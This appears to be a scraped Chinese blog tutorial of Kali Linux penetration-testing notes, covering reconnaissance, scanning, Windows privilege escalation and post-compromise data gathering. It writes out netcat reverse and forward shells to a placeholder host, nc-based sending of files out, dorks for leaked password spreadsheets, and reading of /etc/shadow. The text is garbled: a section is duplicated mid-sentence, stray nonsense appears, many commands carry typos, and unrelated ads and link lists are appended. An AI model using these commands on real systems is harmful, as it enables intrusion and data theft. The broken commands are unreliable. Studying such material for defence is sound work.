导读:

一年前的学习渗透测试所记录的内容,kali作为一个强大的工具,值得安全入门人员学习。

常用命令

  • netstat -pantu :查看本机与外界的TCP/UDP连接
  • sudo passwd root:为root设置密码

常用工具

NC-NETCAT

nc是一款远程传输,控制工具。使用nc -h 命令查看参数描述

NC——获取Banner信息
nc -nv x.x.x.x port  nc作为客户端连接对方服务器
说明:-v 显示详细信息-n 后面添加ip地址,不会进行DNS解析

测试:

首先使用ping + 域名 获取ip地址

由于pop3的端口为110,直接用nc -nv命令连接

NC——传输文本(Telnet)
A:nc -l -p port 监听端port端口
B:nc -nv x.x.x.x port 发送端,x.x.x.x为监听端ip用途:电子取证、信息收集示例:我们希望将远程服务端的文件目录发送到本机,并且不显示远程主机上,可以使用如下命令:远程服务器:ls -l | nc -nv x.x.x.x port -q 1 这里-q 1表示发送完成后等待1s时间就退出nc接收端:nc -l -p port > log.txt 监听并将信息保存在log.txt文件中大萨达
NC——传输文件/目录
传输文件: 从B-->AA: nc -lp port > video.mp4B: nc -nv x.x.x.x port < video.mp4 -q 1 <符号表示传入数据,>符号表示保存数据也可以从A-->BA: nc -lp port < video.mp4 -q 1 B: nc -nv x.x.x.x port > video.mp4 传输目录:原理类似,只不过需要在传输过程对目录打包和解压A:tar -cvf - /music | nc -l -p port -q 1B:nc -nv x.x.x.x port | tar -xvf -
NC——端口扫描(不太准确,不常用)
nc -nvz x.x.x.x 1-65535 探测所有tcp端口
nc -nvzu x.x.x.x 1-1024 探测udp端口
NC——远程控制
正向控制:A:nc -lp port -c bash A提供bashB:nc x.x.x.x port B使用bash反向控制: A:nc -lp port A使用bashB:nc x.x.x.x port -c bash B提供bash思考:在渗透测试中,正向控制一般是会被防火墙拦截的,所以可以尝试反向控制,让服务端连接自己暴露的端口注意:Windwos平台将bash改成cmd
总结

NC缺乏加密和身份验证的能力,不安全。可以使用NCAT来弥补NC的不足, 因为它是支持SSL加密,NCAT包含于nmap中

Wireshark

Wireshark是一款抓包嗅探、协议分析的工具。

使用wireshark抓包
这里以抓取本机网卡数据包为例。首先打开终端,尝试ping百度ping www.baidu.com同时打开wireshark,选则虚拟机网卡eth0,再启动抓包

这里可以保存抓包数据文件,建议保存为pcap格式,兼容性较好。

过滤器

wireshark可以针对ip、域名、协议进行过滤,支持组合表达式,称为过滤器。如下图中,可以选则当前协议行作为过滤器应用。

常见协议包
wireshark默认通过端口来识别协议类型,如80端口识别为http,如有必要需要手动指定协议类型数据包协议如下:ARP、ICMP、TCP、UDP、DNS、http、ftpTCP数据流:HTTP、SMTP、POP3、SSL/TLS(加密传输,无法查看内容)
统计分析
follow tcp stream:查看传输内容Endpoints:查看每种协议具体的ip、包大小、发送数量。协议分级:查看当前帧下的所有协议流量所占百分比。分组长度:查看不同大小包所占百分比。小包过多会导致瘫痪,可能是攻击行为。Conversitions:查看所有会话之间的通信情况。专家系统:针对连接提供一些建议或提示
总结

wireshark 不适用于抓取大量报,因此企业使用一般会使用类似于

Sniffer、Cace、Cascad poit等。

信息收集

DNS信息收集——NSLOOKUP

使用nslookup查看域名解析过程和对应iptosang@kali:~/桌面$ nslookup
> www.baidu.com
Server:         114.114.114.114
Address:        114.114.114.114#53Non-authoritative answer:
www.baidu.com   canonical name = www.a.shifen.com.
Name:   www.a.shifen.com
Address: 61.135.169.125
Name:   www.a.shifen.com
Address: 61.135.169.121

DNS信息收集——DIG(更强大)

根据自定义域名服务器查询:dig @8.8.8.8 www.sina.com mx正向查询:dig www.sina.com any 反向查询(使用ptr反向解析): dig +noall +answer -x 8.8.8.8其中+noall +answer表示省略无用信息bind版本信息: dig +noall +answer txt chaos VERSION.BIND @ns3.dnsv4.com 通过查询bind版本信息可以分析是否存在漏掉可以利用DNS追踪: dig +trace example.com抓包比较递归查询、迭代查询过程的区别

DNS追踪示例:图中是13个根域名服务器(root域)

接着查询.com域名服务器地址(com域)

然后从这些.com域名中随机挑选一个ip去查询baidu.com域的ns记录

最后从ns记录中随机挑选一个去查询www.baidu.com记录得到cname结果,解析cname可以从百度的域名服务器(ns)得到最终ip地址

DNS区域传输(Zone Transfer)

区域传输是指域名服务器之间同步数据的过程,通过区域传输可以获得某一个域里面的所有主机记录

以下命令可以尝试去连接域名服务器,但一般会被拒绝
dig @ns1.example.com example.com axfr
host -T -l sina.com8.8.8.8

DNS爆破

fierce -dnsserver 8.8.8.8 -dns sina.com.cn -wordlist a.txt fierce自带字典host.txt,可以通过命令 查看dnsdict6 -d4 -t 16 -x sina.com 默认集成多种字典,命中率高,执行速度快,最常用dnsenum -f dnsbig.txt -dnsserver 8.8.8.8 sina.com -0 sina.xmldnsmap sina.com -W dns.txtdnsrecon -d sina.com -lifetime 10 -t brt -D dnsbig.txtdnsrecon -t std -d sina.com

DNS注册信息

说明:一般大型互联网企业域名都做了反查询,所以会查不到Whois whois -h whois.apnic.net 192.0.43.10

搜索引擎

SHODAN:使用前需要到shodan官网注册一个账号,并获取自己的API Key搜索联网的设备
Banner: http、 ftp、 ssh、 telnet
https://www.shodanio/
常见filter:net (192. 168.20.1)citycountry (CN、US)port (80、 21、22、23)OSHostname (主机或域名)server示例:搜索中国地区端的81端口ip
port:81 country:CN HTTP/1.1 200

使用示例:首先通过nc获取某个域名的ip,这里以gscaep.ac.cn为例

使用shodan来搜索该ip的所有信息

这一刀这里暴露了使用的数据库版本及其端口信息,可以尝试用nc去连接

GOOGLE搜索方法

+充值 -支付  +代表含有,-代表排除北京的电子商务公司—— 北京 intitle:电子商务 intext:法人 intext:电话阿里网站上的北京公司联系人——北京 site:alibaba.com inurl:contact塞班司法案的PDF文档——SOX filetype:pdf法国的支付相关页面——payment site:fr一些常用实例:
inurt:"level/15/exec/-/show"
intille: "netbotz appliance" "ok"
inurl /admin/login.php
inurt:qq.txt
filetype:xls "username| password"
inud:ftp "password" filetype:xls site:baidu.com
Inurd:Service.pwd
http://exploit.db.com/google-dorks

搜索工具

theHarvester 可以使用google、bing等搜索引擎搜索文域名、邮件,需要翻墙Maltego 图形化展示搜索工具,kali十大工具之一

文件信息——METADATA(元数据)

exiftool xx.jpg  查看图片Exif图片信息Foca windows平台软件

RECON-NG

RECON-NG是一个全特性的,基于Python的web侦探框架。输入help查看所有命令含义

常用命令:recon-ng sina   建立名为sina的工作区
keys add baidu_api api 为baidu_api添加api
keys remove xxx 移除某个api
keys list 查看所有api安装模块:
marketplace refresh # 更新模块列表
marketplace search hackertarget # 搜索 hackertarget 模块,可以发现支持模糊搜索
marketplace install recon/domains-hosts/hackertarget # 复制模块名,安装使用模块:
modules load recon/domains-hosts/hackertarget # 加载模块
info # 查看模块的描述信息及参数。这里发现该模块是用来搜索主机名。help # 查看该模块下的使用命令,其中 options 用来修改模块的参数。(goptions 是全局参数,在非模块模式下才可修改。)
options set SOURCE rapid7.com # 设置 SOURCE 参数(用来探测 rapid7.com的主机)
run # 设置好参数后,直接运行。
show hosts # 在上述 hackertarget 的描述中发现,会把搜索记录 放到 hosts 表中,可以使用 show 命令查看。

主动信息收集

二层发现——arping

二层发现使用arp协议,在局域网下进行

arping 用于在局域网通过目标ip获取mac地址arping 1.1.1.1 -c 1
arping 1.1.1.1 -d 发现同一ip下重复的mac
arping c1 1.1.1.1 | grep "bytes from" | cut d"-f5 | cut d"T"-f2 I cut -d"]"-f 1
脚本arping l.sh etho > addrsarping 2.sh addrs场景:通过编写脚本,arping可以发现子网段的所有连接的ip及其mac地址

二层发现——nmap(常用)

nmap 1.1.1.1-254 -sn 扫描ping,但是不去扫描端口namp在扫描的时候会尝试对找到的ip进行反向查询dns获取其域名
nmap -iL iplist.txt sn

二层发现——Netdiscover

Netdiscover专用于二层发现,可用于无线和交换网络环境,主动和被动探测主动探测:
netdiscover -i ethO T 1.1.1 .0/24
netdiscover -1 iplist.txt被动:
(主动arp容易触发报警,伪装成局域网一部分,截取arp数据包分析)
netdiscover -P

二层发现——Scapy

Scapy作为Python库进行调用也可作为单独的工具使用抓包、分析、创建、修改、注入网络流量apt-get install python-gnuplotScapyARP().display()Sr1()Python脚本Arpl.pyArp2.py

三层发现

优点:可路由、速度比较快
缺点:速度比二层慢、经常被边界防火墙过滤
协议:IP、ICMP协议。在广域网进行

说明:ttl值在linux系统性一般是64,每经过一跳路由自动减一Ping 1.1.1.1 -c 2 -c指定发送几个请求
Ping-R 1.1.1.1 / traceroute 1.1.1.1
ping 1.1.1.1-C 1 | grep "bytes from" | cut -d "" -f4 | cut-d":"-f 1pmap -sn 1.1.1.1 -255
nmap -iL iplist.txt -snHping能够发送几乎任意TCP/IP包功能强大但每次只能扫描一个目标hping3 1.1.1.1 -icmp -C 2
for addr in $(seq 1 254); do hping3 1.1.1.$addr icmp C I >> handle.txt & done

四层发现

优点:可路由且结果可靠、不太可能被防火墙过滤、甚至可以发现所有端口都被过滤的主机
缺点:基于状态过滤的防火墙可能过滤扫描、全端口扫描速度慢
TCP:未经请求的ACK- RST、SYN-SYN/ACK、 RST
UDP:ICMP端口不可达、一去不复返

nmap 1.1.1.1-254 -PU53 -sn 使用udp发现
nmap 1.1.1.1-254 -PA80 -sn 使用TCP发现(ack包 )
nmap -iL iplist.txt -PA80 -sn端口扫描:
Nmap
nmap -sU 1.1.1.1 默认的1000个参数ICMP host-unreachable说明端口关闭没有回应说明可能开启
nmap 1.1.1.1 -sU-p 53
nmap -iL iplist.txt -sU P 1-200

所有的TCP扫描都是基于三次握手的变化来判断目标端口的状态

隐蔽扫描:即每次不建立完整三次连接,只发生syn信息应用日志不记录扫描行为,较为隐蔽发送流程为:-->使用scapy发送Syn包给目标主机<--目标主机回复syn/ack包-->本机操作系统内核会识别到异常握手,发出RST请求屏蔽内核的RST请求:iptables -A OUTPUT -P tcp --tcp-flags RST RST -d 本地ip -j DROPScapy命令:
sr1(IP(dst="192.168.60.3]/TCP(dport=80),timneout=l,verbose=1)nmap命令:nmap -sS 1.1.1.1 -p 80 21,25.110.443nmap -sS 1.1.1.1 -P -65535 --opennmap -sS 1.1.1.1 -P  --opennmap -sS -iL iplist.txt -P 80僵尸扫描极度隐蔽实施条件苛刻可伪造源地址选择僵尸机:闲置系统且系统使用递增的IPID,不能全是0
发现僵尸机:
nmap -P 80 192.168.1.133 --script=ipidseq.nse
扫描目标:
nmap 172.16.36.135 -sl 172.16.36.134 Pn p 0- 100

服务扫描

SNMP:
简单网络管理协议
Community strings
信息查询或重新配置
识别和绕过防火墙筛选

扫描banner:
nc -nv x.x.x.xdmitry -p 172. 16.36.135
dmitry -pb 172.16.36.135nmap -sI 1.1.1.1 -P 22 -script=banner
nmap 域名/IP            (最强大)

SNMP扫描

用处不大,现在的服务器会限制特定ip访问snmp

snmp:信息的金矿经常被错误配置public / private / manager
MIB Tree:SNMP Management Information Base (MIB)树形的网络设备管理功能数据库1.3.6.1.4.1.77.1.2.25
onesixtyone 1.1.1.1 public
onesixtyone -C dict.txt -i hosts -o my.log -W 100
可读性强的工具:
snmpcheck -t 192. 168.20.199
snmpcheck -t 192. 168.20.199 -C private -V 2
snmpcheck -t 192. 168.20.199 -W

SMB扫描

Server Message Block 协议是微软历史上出现安全问题最多的协议,实现复杂,默认开放,文件共享

nmap -v -p 139,445 192.168.60.1-20
nmap 192.168.60.4 -p 139,445 --script=smb-os- discovery.nse
nmap -v -P 139,445 --script=smb-check-vulns --script-args=unsafe=1 1.1.1.1
nbtscan -r 192. 168.60.0/24
enum4linux -a 192.1 68.60.10

waf识别

WEB应用防火墙
wafw00f -l
wafw00f http://www.microsoft.com
nmap www.microsoft.com --script=http-waf-detect.nse

弱点(漏洞)扫描

kali集成了漏洞利用工具,使用searchsploit,我们可以搜索软件当前存在的漏洞及其攻击代码。

此外,NEXPOSE也是一款面向企业的强大的漏洞扫描工具,可以对web页面、操作系统进行登录扫描或黑盒扫描。NEXPOSE会将扫描到的漏洞按CVSS评级进行打分,并且可以生产报告。

提权

Admin提权为System

Windows system账号
官方工具:SysInternal suitehttps://technet.microsoft.com/en-us/sysinternals/bb545027psexec -i -S d taskmgrxp系统下:at 19:39 /interactive cmd 该命令会定时启动一个system权限的cmd(只能在xp系统使用)
通过服务方式:SC Create syscmd binPath= "cmd /K start" type= own type= interactSC start syscmd隐蔽注入:上面的几种方式会创建单独的进程,可能被发现,可以使用pinjector进行隐蔽注入,注入到某个system权限的进程中,然后通过nc可以远程shell

抓包嗅探

Windows:WiresharkOmnipeekcommviewSniffpass
Linux:TcpdumpWiresharkDsniff

基本信息收集

当我们获取到某个主机的root权限后,我们要尽可能收集其信息

Linux:/etc/resolv.conf   dns配置信息/etc/passwd   存放用户账户/etc/shadow     存放用户密码whoami, who -aifconfig -a, iptables -L -n, netstat -rnuname -a, ps aux 查看操作系统信息,进程信息dpkg -l | head  查看安装的软件

m权限的cmd
(只能在xp系统使用)
通过服务方式:
SC Create syscmd binPath= “cmd /K start” type= own type= interact
SC start syscmd

隐蔽注入:
上面的几种方式会创建单独的进程,可能被发现,可以使用pinjector进行隐蔽注入,注入到某个system权限的进程中,然后通过nc可以远程shell


#### 抓包嗅探

Windows:
Wireshark
Omnipeek
commview
Sniffpass
Linux:
Tcpdump
Wireshark
Dsniff


#### 基本信息收集> 当我们获取到某个主机的root权限后,我们要尽可能收集其信息```shell
Linux:/etc/resolv.conf   dns配置信息/etc/passwd   存放用户账户/etc/shadow    存放用户密码whoami, who -aifconfig -a, iptables -L -n, netstat -rnuname -a, ps aux 查看操作系统信息,进程信息dpkg -l | head  查看安装的软件

推荐1:简历制作神器

全民简历

说明:个人用过,帮我斩获各大厂offer,体验很不错,价格也比较良心,真心推荐一波。

推荐2:保姆级的Java教程和项目

趋势投资Spring Cloud项目

前端练手项目,模仿天猫前端

JAVA WEB J2EE 练手项目,模仿天猫整站

JAVA 桌面软件练手项目,一本糊涂账

JAVA 自学网站

JAVA 练习题

Hibernate 教程

Struts 教程

SSH整合教程

Mybatis 教程

Spring MVC 教程

【渗透测试】kali使用教程(一):常用命令和基本工具使用相关推荐

  1. 网络安全-渗透测试-Kali Linux教程篇 篇(六) 漏洞分析-02——AppScan-轻量级Web漏洞扫描、安全审计工具

    本文目录 关于本篇 声明 正文 AppScan 安装教程 使用教程 Web Application Scan 关于本篇 本篇是网络安全-渗透测试-Kali Linux教程篇 第六篇 漏洞分析部分的第二 ...

  2. 网络安全-渗透测试-Kali Linux教程系列篇 篇(三)信息收集-02

    Kali Linux 系列 No.3 信息收集-03 前言:在上一篇中,对于Nmap.Masscan两款主流的主机扫描.端口扫描工具进行了讲解,本文继续对其他优秀工具进行介绍. 声明:本文章中所提及的 ...

  3. linux eth0 目录,教程 | Linux常用命令大全

    原标题:教程 | Linux常用命令大全 来源:Linux爱好者 ID:LinuxHub Linux常用命令 目录操作命令 ls 命令名称:ls 命令英文原意:list 命令所在路径:/bin/ls ...

  4. 渗透测试-Kali入侵Win7主机

    前言 严正声明:本文仅限于技术讨论与分享,严禁用于非法途径. 本文目的:演示如何借助Kali Linux系统的Metasploit渗透测试框架生成远程控制木马,然后感染局域网内的 Win 7主机,从而 ...

  5. 数字IC设计工具教程——VCS常用命令

    数字IC设计工具教程--VCS常用命令 文章目录 数字IC设计工具教程--VCS常用命令 编译开关(静态开关) 仿真开关(动态开关) 后处理打开DVE testbench中后处理系统函 覆盖率统计 门 ...

  6. 渗透测试kali Linux常用工具

    kali Linux工具帮你评估 Web 服务器的安全性,并帮助你执行黑客渗透测试. 注意:这里不是所提及的所有工具都是开源的. Nmap 1621507756_60a63eac521c0abeb99 ...

  7. 渗透测试-Kali虚拟机技术

    系统简介 虚拟机 Kali Kali是一套用于安全渗透的Linux发行版虚拟机操作系统 ,其强大之处在于系统内置了大量的安全渗透方面的软件(预装超过300个渗透测试工具),新手可以免于配置,开箱即用! ...

  8. 渗透测试-Kali Linux学习(Linux基础、Shell编程、渗透测试软件)

    目录 目录结构 SSH连接 开关机与重启 关机 重启 文件目录 目录 显示/切换 创建与删除 文件 创建 复制 移动 查看 重定向和追加 软链接 查找 备份与压缩 .gz .zip .tar.gz 用 ...

  9. [渗透测试][Kali]对DC-2靶机进行渗透测试

    对DC-2靶机进行渗透测试 1.搭建渗透平台 2.准备工作 3.扫描端口 4.使用wpscan进一步扫描 5.破解密码 6.登陆ssh 7.root权限提升 1.搭建渗透平台 Kali 2018, D ...

  10. Eric靶机渗透测试通关全教程

    环境准备 联不联网无所谓,主要是要在同一网段下 靶机:Eric 攻击机:Kali (192.168.56.102) 渗透目标 拿到普通用户下的flag 拿到root用户下的flag 渗透测试实战 已知 ...

最新文章

  1. 怎么处理404 错误页面 、处理404页面、asp.net 处理404页面
  2. roobo机器人怎么唱歌_日本“观音”机器人问世,可以陪僧人念佛经
  3. GPLinker:基于GlobalPointer的事件联合抽取
  4. 织梦手机软件应用app下载排行网站模板
  5. 大二生活之致给影响我最大的大学老师,我和老师的一些事
  6. c语言中浮点数如何声明,C语言中浮点数定义和文本处理的配合
  7. bootstrap signin将邮件改成用户名_了解电子邮件传递背后的流程
  8. Python监控文件变化:watchdog
  9. 罗永浩回应被中消协点名;传前淘宝直播运营负责人因贪污被阿里通报;TypeScript 4.0 Beta发布​ | 极客头条...
  10. 华为机试HJ14:字符串排序
  11. 【转】在Linux下编译与执行Java程序
  12. mysql+proxysql+keepalived实现高可用的数据库读写分离
  13. 操作系统学习笔记(一) 进程与线程模型
  14. eclipse linux 中文,Eclipse (简体中文)
  15. Android设置沉浸式
  16. 【FPGA】FPGA对AD7606进行串行数据采集
  17. 一个工作三年的新手菜鸟
  18. 书评与摘抄《白鹿原》
  19. Y7000开机出现Checking media无法开机
  20. Efficient Frontier of Two Risky Assets(两种证券组合的有效边界)

热门文章

  1. 单点登录系统原理与接入
  2. 联想计算机电源维修,自己动手修理联想X1 YOGA电源故障
  3. 计算机网络是几级学科,教育部更新学科目录 “网络空间安全”增设为一级学科...
  4. wps重复上一步快捷键_Wps重复命令快捷键
  5. hmcl启动器怎么联机_hmcl启动器使用教程
  6. android 3d桌面壁纸,五款超酷安卓手机3D桌面软件合辑推荐
  7. QDir setSorting 文件排序
  8. 不要错过!第十一届CDA考试Level Ⅰ优秀考生采访
  9. java retainall_Java ArrayList retainAll() 使用方法及示例
  10. YOLOv2相比于yolov1的改进